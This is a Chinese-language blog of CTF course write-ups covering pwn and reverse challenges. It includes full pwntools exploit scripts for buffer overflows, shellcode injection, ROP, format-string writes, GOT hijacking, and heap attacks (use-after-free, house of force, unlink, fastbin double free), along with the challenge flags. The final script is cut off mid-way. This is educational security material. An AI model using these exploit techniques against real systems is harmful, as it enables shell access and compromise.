前言

這堂課是台大、台科大、交大、中央(?聯合的資安課程 今年全上pwn跟reverse,跟前年不太一樣(前年還有教Web、Crypto…等) 這一篇文章主要放這門課作業和練習的Write up,記錄一下解法怕忘記

課程網站:https://csie.ctf.tw

[hw0] Pwn 1

0x400566有個callme() 裡頭就是system("/bin/sh") overflow蓋return address跳過去即可get shell padding長度40

1
perl -e 'print "A"x40, "\x66\x05\x40\x00\x00\x00\x00\x00"'
1
FLAG{BuFFer_0V3Rflow_is_too_easy}

[hw0] Rev 1

在0x8048420有個print_flag() 用gdb跑,在main先下斷點,讓他停住 然後直接set $eip=0x8048420 跑printf_flag

1
FLAG{_reverse_is_fun}

[hw0] Rev 2

丟ida pro看一下 可發現它會把輸入的字串的每個字元都跟0xcc做XOR 然後結果會拿去跟某個字串做比較 比較相同會跳Congret 所以基本上就可以猜測,那個拿來跟輸入比較的字串就是XOR過的FLAG 直接整串每個字元拿去做XOR 0xcc即可還原FLAG

[hw0] BubbleSort

這題有個DarkSoul(),裡頭是system("sh") 所以目標很明顯,想辦法讓程式流程跑到這即可 在輸入要sort幾個數字的地方,可以輸入有號整數 可以輸入負數! 但傳進BubbleSort後,卻被當成無號整數來處理 例如-125會變130

所以排序時,有可能把array以外的記憶體抓出來比較 構造一下就能把某個值排到stack上的特定位置

0x8048580 = 134514048 // DarkSoul() 讓這個位址排到return address的位址即可

payload: perl -e 'print "127\n","134514048 "x127,"\n","-125\n"'

FLAG{Bubble_sort_is_too_slow_and_this_question_is_too_easy}

[hw0] ret222

這題開了各種保護,但exit時用mprotect,把name附近權限開成可寫可執行

這題有兩個洞:

  1. format string
  2. buffer overflow

挖一下可發現,%23的位址是canary%25return address 因為name buffer可執行,所以可以想辦法塞shellcode 但是有PIE的關係,要先leak code base算name的位址 觀察可發現,%24libc_csu_init的位址 所以leak它就能去算name位址

但buffer很小,可以用format string一個個塞shellcode進去 最後用gets把return address蓋成name位址即可

exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
r = remote('csie.ctf.tw', 10122)

r.recvuntil('>')
r.send('1\n')
r.send('%23$p\n')
r.recvuntil('>')
r.send('2\n')
r.recvuntil('Name:')
canary = int(r.recvline()[:-20], 16)

r.recvuntil('>')
r.send('1\n')
r.send('%24$p\n')
r.recvuntil('>')
r.send('2\n')
r.recvuntil('Name:')
name = int(r.recvline()[:-20], 16) - 0xd40 + 0x202020

sh = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
for i in range(0, len(sh)):
    r.recvuntil('>')
    r.send('3\n')
    r.recvuntil('Your data:')
    r.send(p64(name + 16 +i) + '\n')
    r.recvuntil('>')
    r.send('1\n')
    r.recvuntil('Your name:')
    r.send('%'+str(ord(sh[i]))+'c'+'%6$hhn\n')
    r.recvuntil('>')
    r.send('2\n')

r.recvuntil('>')
r.send('1\n')
r.recvuntil('Your name:')
r.send('\x90'*16 + '\n')   # NOP sled

r.recvuntil('>')
r.send('3\n')
r.recvuntil('Your data:')
r.send("A"*136+ p64(canary) +"A"*8 + p64(name) + '\n')

r.interactive()

FLAG{YOU_ARE_REALLY_SMART!!!!!!}

[practice] strings

直接strings就噴FLAG了 strings ./strings-f83f44c269487fd909b2df1431bf65bb603e869b FLAG{__flag_in_the_file}

[practice] strace

直接strace它,但要把output size改大一點,不然後半段看不到 strace -s 10000 ./strace-b291608bfa48c94f508c35f7ab6ce46135b840a6 FLAG{____yaaaa_flag_in_the_stack___}

[practice] patching

把它那個值patch成0x23333即可,可以用hexedit之類的tool去patch FLAG{oa11TH80wfMEs6ZflBhGF4btUcS1Ds9y}

[practice] pwntools

這題正規解法好像是用pwntool寫二分搜玩猜數字(? 我比較懶惰直接gdb跑,b main 再set $rip=0x400831就會噴惹 FLAG{h02Ooysbv4O5Lf1Fmdrt2QKts7buYz0J}

[hw1] hw1

這題觀察一下,可以發現它會對輸入字串做一些處理 它會把每個字元的ASCII值乘上(i+1 << (i+2) % 0xa) + 0x2333 最後把得到的值轉成4個char存進檔案中 整個加密是可逆的 整個反過來做就可以還原FLAG了

My script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#include <iostream>
#include <string>
#include <fstream>
using namespace std;
int main() {
    string s;
    ifstream fin("flag-ee94f5c9452a6db022db1e4f3a036b375b3ac472");
    getline(fin, s);
    for(int i = 0; i < 38  ; ++i) {
        int sum = 0;
        int a = (unsigned char)s[4*i+2];
        int b = (unsigned char)s[4*i+1];
        int c = (unsigned char)s[4*i];
        sum += a * 256 * 256 + b * 256 + c;
        sum -= 9011;
        char ch = sum / ((i + 1) << ((i + 2) % 0xa));
        cout << ch;
    }
    cout << endl;
    return 0;
}

FLAG{Iost4SXskSmu53CbCAI5e52FBJkj1JKl}

[practice] bof

objdump -d -M intel ./bof 可以看到www (0x400686)裡面直接call system 算一下buffer overflow padding = 40 就跳過去吧 payload: (perl -e 'print "a"x40, "\x86\x06\x40\x00\x00\x00\x00\x00\n"';cat) | nc csie.ctf.tw 10125 FLAG{vCa9cA1Gkp6BlV0ZrKIdHJlT8fabo6hE}

[practice] ret2sc

這題就是塞shellcode 然後buffer overflow跳過去run payload: (perl -e 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05","A"x321,"\x80\x10\x60\x00\x00\x00\x00\x00"';cat) | nc csie.ctf.tw 10126

FLAG{6EWQLMK1GDzMlV6vPFokzmtux4Fh42yJ}

[practice] ret2lib

塞puts的got位址給他 讓他幫我們leak出來算libc base (puts_got - puts_offset) 然後直接overflow call system (base + system offset) 拿shell

exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from pwn import *
padding = 56
puts_pot = "0x601018"
puts_off = 0x6f690
sh_offset = 0x18cd17

r = remote('csie.ctf.tw', 10127)
r.send(puts_pot + "\n")
r.recvuntil('content:')
puts_addr = r.recvline()
print puts_addr
base = int(puts_addr, 16) - puts_off
print hex(base)
system_addr = base + 0x45390
rdi_ret = 0x400823

r.send("A"*padding + p64(rdi_ret) + p64(base + sh_offset) + p64(system_addr) + p64(system_addr) + "\n")
r.interactive()

FLAG{O66cJwwT8lKl1oKhUG8DcwZxTSwnLaHu}

[practice] format

直接%x%x%x%x%x%x%x%x%x%x%x%x%x 就會噴出FLAG了,hex字串轉一下就行 FLAG{__format_str_exploit_OUO}

[hw2] gothijack

這題name輸入時,不會被NULL截斷 但是在check的strlen卻只會檢查到NULL以前 而且name buffer還可寫可執行 再加上這題提供我們任意寫入(Writesomething) 所以思路就很單純了 塞shellcode進name,最前頭塞\x00繞過檢查 之後再用任意寫入把puts got蓋成name buffer位址即可

exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import *

r = remote('csie.ctf.tw', 10129)
r.recvuntil("What's your name :")

# name輸入一個NULL繞過check + execve("/bin/sh")
r.send("\x00\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\n")
r.recvuntil("Where do you want to write :")

# puts got
r.send("0x601020\n")
r.recvuntil("data :")

# name buffer的位址+1 (跳過NULL)
r.send("\xa1\x10\x60\x00\x00\x00\x00\x00\n")

r.interactive()

FLAG{G0THiJJack1NG}

[practice] simplerop_revenge

這題題目長這樣:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <unistd.h>
int main(){
    char buf[20];
    puts("ROP is easy is'nt it ?");
    printf("Your input :");
    fflush(stdout);
    read(0,buf,160);
}

很明顯就是去overflow 然後串rop chain拿shell

exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *

pop_rdx = 0x4427e6
pop_rsi = 0x401577
pop_rdi = 0x401456
syscall = 0x4671b5
pop_rax_rdx_rbx = 0x478516
mov_drdi_rsi = 0x47a502
buf = 0x6c9a20
r = remote('csie.ctf.tw', 10130)
context.arch = "amd64"   
payload = 'a'*40
rop = flat([pop_rdi, buf, pop_rsi, "/bin/sh\x00", mov_drdi_rsi, pop_rsi, 0, pop_rax_rdx_rbx, 0x3b, 0, 0, syscall])
payload += rop
r.sendline(payload)
r.interactive()

FLAG{TAKEMY_REVENGE}

[practice] ret2plt

exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import  *

puts_plt = 0x4004e0
puts_got = 0x601018
pop_rdi = 0x4006f3
puts_off = 0x6f690
system_off = 0x45390
sh_off = 0x18cd17
main = 0x400636

r = remote('csie.ctf.tw', 10131)

r.send('a'*40 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) + "\n")
r.recvline()
a = r.recvline()
print a
b = u64(a.strip().ljust(8, "\x00"))

base = b - puts_off
system = system_off + base
print 'base:', base

r.send('a'*40 + p64(pop_rdi) + p64(sh_off + base) + p64(system) + "\n")
r.interactive()

FLAG{YOUCAN_RET_2_EVERYWHERE}

[practice] migr4ti0n

這題就是stack migration的練習 buffer太小時,用這招就可以無限串rop overflow時,蓋rbp,把stack搬到一個可寫的buffer繼續串

exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

buf = 0x602000 - 0x200
buf2 = buf + 0x100
pop_rbp = 0x400558
pop_rdi = 0x4006b3
pop_rsi_r15 = 0x4006b1
pop_rdx = 0x4006d4
leave = 0x40064a

read = 0x4004e0
puts = 0x4004d8
puts_got = 0x600fd8
puts_off = 0x6f690

padding = 'a' * (56 - 8)

r = remote('csie.ctf.tw', 10132)

r.send(padding + p64(buf) + p64(pop_rdi) + p64(0x00) + p64(pop_rsi_r15) + p64(buf) + p64(0x00) + p64(pop_rdx) + p64(0x100) + p64(read)+ p64(leave))

r.recvuntil(":")


r.send(p64(buf2) + p64(pop_rdi) + p64(puts_got) + p64(puts) + p64(pop_rdi) + p64(0x0) + p64(pop_rsi_r15) + p64(buf2) + p64(0x0) + p64(pop_rdx) + p64(0x100) + p64(read) + p64(leave) + "\n")

r.recvuntil("\n")

addr = u64(r.recvuntil("\n").strip().ljust(8, "\x00"))
base = addr - puts_off
print addr
print base

system = base + 0x45390

r.send(p64(buf) + p64(pop_rdi) + p64(buf2+4*8) + p64(system) + "/bin/sh\x00" + "\n")

r.interactive()

FLAG{49796c31e88bf1c45fc21212693e07cd652296dd}

[practice] cr4ck

這題就是簡單的fmt任意讀練習 塞flag buffer的位址,然後用%7$s去讀位址裡的值 64位元底下的位址,基本上都一定有NULL byte,所以通常都把位址塞最後 然後前面%7$s之類的字串,不足8 bytes的要padding補滿

payload:

perl -e 'print "%7\$saaaa\xa0\x0b\x60\x00\x00\x00\x00\x00\n"' | nc csie.ctf.tw 10133

p.s. 在shell用perl送payload的時候,要記得用\跳脫$字號,不然會跟我一樣卡很久QQQQQ

FLAG{CRACKCR4CKCRaCK}

[practice] craxme

就是個簡單的format string任意寫入的練習 把magic整個蓋成0xda即可 注意的地方就只有padding要算好

exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *

magic = 0x60106c

r = remote('csie.ctf.tw', 10134)

# "%218c%8$": %6$
# "naaaaaaa": %7$
# "magic": %8$
r.sendline("%218c%8$naaaaaaa" + p64(magic))
r.interactive()

FLAG{JUST CRAXME!@_@}

[practice] craxme - 2

這題跟上一題大同小異,就只是蓋的數字比較大 一口氣蓋的話,IO會跑很久炸掉 這裡我分兩次蓋,一次蓋2 bytes

exploit:

1
2
3
4
5
6
7
8
9
from pwn import *

magic = 0x60106c

r = remote('csie.ctf.tw', 10134)
#r = remote('localhost', 31337)

r.sendline("%45068c%10$hn%19138c%11$hn......" + p64(magic) + p64(magic+2))
r.interactive()

FLAG{this is the second flag!!!! >_<}

[practice] craxme - 3

這題雖然跟前兩題一樣服務 但解法不太一樣,這題要拿shell才行

方法就是把puts got,蓋成main裡read那邊的位址 之後再把printf got,蓋成system got 最後read讀/bin/sh\x00,會被當作system參數 就get shell惹

比較麻煩的地方是,如果是用我下面那種寫法 要準確算好要寫幾個bytes,然後前面輸出了幾個bytes要搞清楚 不然寫到後面會有點亂

exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *

r = remote('csie.ctf.tw', 10134)
#r = remote('localhost', 10134)

print_got = 0x601030
puts_got = 0x601018

r.sendline("%13$n%64c%14$hn%15$n%1376c%16$hn%423c%17$hnaaaaaaaaaaaaa" + p64(print_got + 4) + p64(print_got + 2) + p64(puts_got + 2) + p64(print_got) + p64(puts_got) + "/bin/sh\x00")
r.send("cat /home/craxme/S3cretflag\n")

r.interactive()

FLAG{YOUF0UNDtheSECRETFL4G!?}

[hw3] readme

這題,它overflow剛好可以蓋到return address 看起來沒啥能利用的東西,串ROP又太短 但仔細觀察會發現,read讀的是從rbp-0x20開始讀 並且讀完之後,接著做的就是leave和ret 那就可以做stack migration(聽說正確名稱叫stack pivoting..)

就是蓋掉RBP之後,把return address蓋成main裡面的read那邊 這樣他就會把read讀到的東西,塞到我們指定的位址(rbp-0x20)裡面了(任意寫入!) 之後read完,做leave ret,就會把stack frame搬過去

而且read一樣可以讀48 bytes,一樣可以再蓋掉rbp和return address 就能無限寫入ROP chain

這邊我在做的時候遇到一個障礙,卡非常久 就是寫rop chain時,如果寫完一塊buffer 要再寫另一段rop chain,直接接在剛剛那塊後面 就會炸掉QQ

一開始完全想不通這樣哪邊會炸 追了一下才發現,read時,會蓋掉我們當前stack frame的返回位址 所以read裡面return時,就會跳到錯誤的位址QQ 詳細爆炸過程可以參考這個連結: https://drive.google.com/file/d/0B0u00oV7NdOiS19pNmczaEFhdFE/view?usp=sharing

最後其中一個解決方法就是,再找一個buffer寫 可以跳過去之後,再回來接著寫,就不會炸了

然後因為沒有libc base 所以仔細觀察一下,發現read got跟write got其實只差最後1 byte 直接把read蓋成write 然後構造gadget,讓write去leak出write got entry的值 就能算libc base了

因為read被改掉了 可是我們接著還要繼續串rop 所以要先跳回去resolve read,還原read got

之後有了base之後就可以構造system("/bin/sh") 或是直接跳one gadget拿shell

不過聽說這題有很多很多種解法 上課提示的好像是利用syscall 然後似乎也可以用撞的方式拿shell 要leak base的話,真的很麻煩=.=

exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

buf = 0x601048
buf2 = 0x601700
bufx = 0x601c00

pop_rbp = 0x400560
pop_rdi = 0x4006b3
pop_rsi_r15 = 0x4006b1
leave = 0x400646

read_plt = 0x4004c0
read_got = 0x601020
read = 0x40062b
read_res = 0x4004c6

nop = 0x90
padding = 'a' * (40 - 8)

#r = remote('localhost', 10135)
r = remote('140.112.31.96', 10135)
context.arch = "amd64"

r.send(padding + p64(buf + 32) + p64(read))
r.send(p64(pop_rdi) + p64(0x1) + p64(read_plt) + p64(pop_rbp) + p64(bufx + 32) + p64(read))
r.send(p64(0x1bd2) * 4 + p64(buf + 64) + p64(read))
r.send(p64(buf2) + p64(leave) + p64(0) * 2 + p64(bufx + 32) + p64(read))
r.send(p64(0x1bd2) * 4 + p64(buf2 + 32) + p64(read))
r.send(p64(bufx+0x20) + p64(pop_rsi_r15) + p64(bufx) + p64(0) + p64(bufx + 32) + p64(read))
r.send(p64(0x1bd2) * 4 + p64(buf2 + 64) + p64(read))
r.send(p64(pop_rdi) + p64(0) + p64(read_res) + p64(leave) + p64(bufx + 32) + p64(read))
r.send(p64(0x1bd2) * 4 + p64(read_got + 0x20) + p64(read))
r.send("\x80")

r.recvuntil(":")
a = u64(r.recv()[:8])
print hex(a)
write_off = 0xf7280

base = a - write_off
one_gadget = 0x4526a

r.send(p64(pop_rdi) + p64(0x1) + p64(read_plt) + p64(pop_rbp) + p64(read_got + 0x20) + p64(read))
r.send(p64(one_gadget+ base))
sleep(1)
r.sendline("cat /home/readme/flag\nls\n")
print r.recv()

FLAG{CAN_YOU_R34D_MY_M1ND?}

[hw4] fmtfun4u

這題原本是有限次數的做printf 可以去修改stack中i的值,來達到無限次printf 利用%11%37的位址,可以對stack中的位址做間接寫入 而libc_start_main+245也在stack上,能被拿來leak libc base

最後一步,我們要控RIP 觀察、跟GDB,可以發現printf裡面會call vprintf_internal 透過改寫他的return address,就能控RIP 但是一樣有個問題,一次寫太多bytes,I/O會炸掉 而且不能分次寫入,因為如果分次寫,到下一次寫前會call printf 就先Segmentation Fault了

這裡可以利用將返回位址改寫成ret的gadget (沒錯,ret gadget剛好只有低位bytes跟原本return address不同) 再將真正要跳的位址(one gadget),放在stack中return address的下一個位址 這樣我們vprintf返回時,會跳到ret gadget 然後再跳到我們one gadget的位址 就拿到shell了

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

r = remote('csie.ctf.tw', 10136)
#r = remote('localhost', 10136)

r.recvuntil(":")
r.send("%6$p\n")
addr = r.recvline()
stk_base = int(addr,16) - (14 * 16)     # make %8 be base
r.recvuntil(":")
r.send("%" + str((stk_base - 4) % 0x10000) + "c%11$hn\n")
r.recvuntil(":")
r.send("%30c%37$hhn\n")

r.recvuntil(":")
r.send("%9$p\n")
addr = r.recvline()
print addr
base = int(addr,16) - 245 - 0x20740


one_gadget = 0x4526a + base

print "one gadget:", hex(one_gadget)


# leak code base
r.recvuntil(":")
r.send("%16$p\n")
addr = r.recvline()
print addr
code_base = int(addr, 16) - 0x830

puts_got = code_base + 0x200fb0
libc_got = code_base + 0x200fa0

print hex(one_gadget)
print hex((one_gadget) % 0x10000)
print hex((one_gadget / 0x10000) % 0x10000)
print hex((one_gadget / 0x100000000) % 0x10000)

# First, write one gadget into stack
r.recvuntil(":")
r.send("%" + str((stk_base - 0x10) % 0x10000) +"c%11$hn\n")
r.recvuntil(":")
r.send("%" + str((one_gadget) % 0x10000) +"c%37$hn\n")
r.recvuntil(":")
r.send("%" + str((stk_base - 0x10 + 2) % 0x10000) +"c%11$hn\n")
r.recvuntil(":")
r.send("%" + str((one_gadget / 0x10000) % 0x10000) +"c%37$hn\n")
r.recvuntil(":")
r.send("%" + str((stk_base - 0x10 + 4) % 0x10000) +"c%11$hn\n")
r.recvuntil(":")
r.send("%" + str((one_gadget / 0x100000000) % 0x10000) +"c%37$hn\n")
r.recvuntil(":")
r.send("%" + str((stk_base - 0x10 + 6) % 0x10000) +"c%11$hn\n")


# Write ret gadget to printf return address  => return to the one gadget
r.recvuntil(":")
r.send("%" + str((stk_base - 0x18) % 0x10000) +"c%11$hn\n")  # vprintf rbp - 0x28
pause()
r.recvuntil(":")
r.send("%" + str((code_base + 0x7c1) % 0x10000) +"c%37$hn\n")

r.interactive()

FLAG{FEED_MY_TURTLE}

[practice] hacknote

這是我人生第一道heap題… 前年沒學heap,第一次搞花不少時間搞懂heap機制QQ

這題在考UAF 漏洞就是free(notelist[idx]);free完沒設成NULL

目標是note裡面的printnote這個function pointer 方法是做兩次add_note,然後分別free掉 最後再add_note,content size設跟note structure一樣大 這時note會被malloc到我們二個free掉的note 然後content會被malloc到第一個free掉的note 我們就可以藉由輸入content內容去控rip惹

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

r = remote('csie.ctf.tw', 10137)

magic = 0x400c23

def add_note(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)

def del_note(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))

def print_note(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))


add_note(0x52, "kai")
add_note(0x78, "bro")
del_note(0)
del_note(1)
add_note(16, p64(magic))
print_note(0)
r.interactive()

FLAG{YOUSHOULDTAKEnote~}

[hw4] hacknote2

這題跟hacknote1的洞一樣 只是call system被拔掉

我們可以先leak got算libc base 有base就可以算one gadget位址 之後直接跳過去one gadget就能拿shell了

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

r = remote('csie.ctf.tw', 10139)
#r = remote('localhost', 10139)

print_note_fun = 0x400886
puts_got = 0x602028

def add_note(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)

def del_note(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))

def print_note(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

add_note(0x52, "dada")
add_note(0x78, "dada")
del_note(0)
del_note(1)
add_note(16, p64(print_note_fun) + p64(puts_got))
print_note(0)

r.recvuntil(":")
tmp = r.recvline()

addr = u64(tmp[:-1].ljust(8,"\x00"))
print hex(addr)


base = addr - 0x6f690

#system = base + 0x45390
#sh = base + 0x18cd17

one_gadget = base + 0xf0274

del_note(2)

add_note(16, p64(one_gadget))
print_note(0)

r.interactive()

FLAG{DEATHNOTE!!!!}

[practice] bamboofox1

這題是考The house of force 看投影片看好久,size一直算錯,try了幾次之後才大概弄懂…

一開始會malloc bamboo: bamboo = malloc(sizeof(struct box));

結束時,會call bamboo->goodbye_message(); 所以就是想辦法hijack掉goodbye_message()

然後這題的change_item,不會檢查有沒超過原本長度 所以可以heap overflow

我們就先新增一個chunk,然後change它 length就設比原本的chunk長0x10,就可以剛好蓋到top chunk的size 把top chunk的size蓋成0xffffffffffffffffff 然後再malloc一個chunk,把top搬到我們要蓋的那塊chunk (這邊length可以塞負的值,這邊要小心別算錯…)

之後就malloc一塊,去蓋goodbye_message,蓋成magic

最後exit,就會噴FLAG惹

exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

r = remote('csie.ctf.tw', 10138)
#r = remote('localhost', 10138)

target = 0x400d49
big = 0xffffffffffffffff

def add_item(length, content):
r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(content)

def edit_item(index, length, content):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(index))
    r.recvuntil(":")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(content)

add_item(64, "abc")
edit_item(0, 80, "A"*64 + p64(0) + p64(big))

# item size, box size, sizeof(header)
# -(64 + 16) - (16 + 16) - 16
add_item(-128, "kai")  
add_item(32, p64(target) * 2)
r.interactive()

[practice] bamboobox2

觀察一下,可以發現在change_item()裡面有個漏洞

當新的size比舊的size大,就能heap overflow

所以可以新增三個item

然後修改第二塊,設一個比原本大的長度去overflow,偽造一塊chunk

原本的layout:

chunk2_prev_size + chunk2_size + data + chunk3_prev_size + chunk3_size

修改data,構造偽造的chunk,並overflow蓋到下一塊的header:

chunk2_prev_size + chunk2_size + fake_prev_size + fake_size + fake_fd + fake_bk + padding + fake_prev_size2 + fake_size2

其中原本指向第二塊的指標假設叫r

則為了在unlink時滿足檢查機制

  1. fake_fd必須設為&r-0x18 (&r - 0x18 + 0x18 = r)

  2. fake_bk必須設為&r-0x10 (&r - 0x10 + 0x10 = r)

  3. chunk size必須等於next chunk的prev_size (fake_size == fake_prev_size2)

做完以上事情之後,只要remove第三塊觸發第二塊的unlink,就能把r指到&r - 0x18(BSS段)

&r - 0x18指到的是itemlist的第一個item

接著可以對這個item寫入got位址(寫到name),再透過show()把這個got內容印出來(可以算libc base)

最後再change第一個item一次,可以把got內容寫成system之類的,就能getshell

script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
r = remote('localhost', 5278)

def show():
    r.recvuntil(':')
    r.sendline('1')

def add(length, name):
    r.recvuntil(':')
    r.sendline('2')
    r.recvuntil(':')
    r.sendline(str(length))
    r.recvuntil(':')
    r.sendline(name)

def change(idx, length, name):
    r.recvuntil(':')
    r.sendline('3')
    r.recvuntil(':')
    r.sendline(str(idx))
    r.recvuntil(':')
    r.sendline(str(length))
    r.recvuntil(':')
    r.sendline(name)

def remove(idx):
    r.recvuntil(':')
    r.sendline('4')
    r.recvuntil(':')
    r.sendline(str(idx))

add(0x80, "a")
add(0x80, "a")
add(0x80, "a")

rr = 0x6020d8
atoi_got = 0x602068
atoi_off = 0x36e80
system_off = 0x45390

chunk = p64(0x90) + p64(0x81) # prev_size, size
chunk += p64(rr - 0x18) + p64(rr - 0x10) # fd, bk
chunk += "A"*0x60
chunk += p64(0x80) + p64(0x90) # prev_size2, size2

change(1, 0x100, chunk)
remove(2)
change(1,0x100,p64(0)+p64(atoi_got))
show()
r.recvuntil('0 : ')
libc = u64(r.recvuntil('1')[:-1].ljust(8,"\x00")) - atoi_off
print "libc:",hex(libc)

change(0, 0x100, p64(libc+system_off))

r.interactive()

[hw4] profile_manager

我廢,還沒解出來QQ 最近專心搞Web,有空再研究

[hw5]

先跳過 看到heap就頭痛 有空再玩

[hw6] break

這題可以發現0x601080藏著一串看起來很神祕的字串

87%就是FLAG加密過的樣子

瞧一下他怎麼加密的

發現他會在index=0,2,4,....時,和0x01做XOR

然後在index=1,3,5....時,去和"Temporal Reverse Engineering"對應字元做XOR

至於0x40066d這個call,應該是拿來混淆用的(?,用不到

逆著解就能拿到FLAG惹

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#include <iostream>
#include <string>
using namespace std;

int main()
{
    ios_base::sync_with_stdio(0);
    string t = "Temporal Reverse Engineering";
    string s = "\x42\x01\x47\x15\x51\x19\x6F\x23\x45\x79\x40\x08\x48\x08\x75\x11\x73\x47\x60\x0c\x64\x0c\x6e\x14\x42\x06\x72\x1b\x6e\x38\x68\x14\x60\x12\x6d\x07\x45\x44\x63\x13\x66\x01\x68\x1a\x66\x56\x68\x1b\x69\x2e\x78\x08\x60\x1e\x68\x0c\x48\x3b\x72\x1a\x73\x05\x6c\x07\x6f\x55\x60\x12\x68\x09\x6f\x09";

    for(int i = 0; i < s.size() - 1; i += 2) {
        s[i] ^= 0x01;
        s[i + 1] ^= (t[ i % t.size()] + 1);
    }
    cout << s << endl;
    return 0;
}

CTF{PinADXAnInterfaceforCustomizableDebuggingwithDynamicInstrumentation}

[practice] calc

用ida看,可以發現他會經過一連串的比較之後

才會噴出像FLAG的東西

這一串比較的東西,對應的字串就是3133731337.31337

所以其實只要在小算盤上,輸入這一串

就會噴FLAG惹

flag{31337_is_so_l33t}

[practice] shuffle

這題打開來是一堆按鈕

按鈕上面的文字很明顯是FLAG

但是被打亂惹

重開程式,會發現排序也變惹

所以可猜測,這支程式會把FLAG塞進button

然後random打亂順序

我的解法:

打開Ollydbg的Windows視窗

可以看到每個按鈕的ID

照著ID大小排下來,就是原先FLAG的順序惹

FLAG{N0w_u_s3e_m3}

[practice] babyfast

這題是fastbin corruption的練習題

fastbin corruption基本上就是

fastbin chunk在free的時候,只會檢查對應大小的fastbin上

有沒有要free的這一塊,有的話就代表double free然後abort

所以只要不讓他在fastbin的第一塊,就能夠繞過檢查,達到Double Free

例如:

malloc兩塊同大小的chunk:A, B

然後free(A),再free(B)

這時候fastbin中大概長這樣:B -> A

這時候再free(A),就變成: A -> B -> A

然後A的fd因為指到B,所以實際上就變成circular linked list

如果這時候malloc(A)出來,那麼就有機會改掉A的fd

變成:B -> A -> 任意位址

以這題來說的話,我們就可以讓A的fd指到我們要偽造的chunk

我們讓他指到0x601ffa,那他size對應到的就是0x60 (他這邊size只檢查4個byte,超過的會忽略)

因為size是0x60,所以allocate的時候要指定0x50

然後就剛好可以去蓋掉free的GOT,蓋成system

(這題保護是Partial RELO,所以GOT可改)

這樣我們只要把"/bin/sh\x00"餵給free當參數,就能拿shell惹

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
r = remote("csie.ctf.tw", 10142)

def allocate(size, data):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(data)

def free(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))

allocate(0x50, "kaibro") #0
allocate(0x50, "kaibro") #1
allocate(0x50, "kaibro") #2

free(0)
free(1)
free(0)

fake_chunk = 0x601ffa

allocate(0x50, p64(fake_chunk)) #3
allocate(0x50, "/bin/sh\x00") #4
allocate(0x50, "kaibro") #5
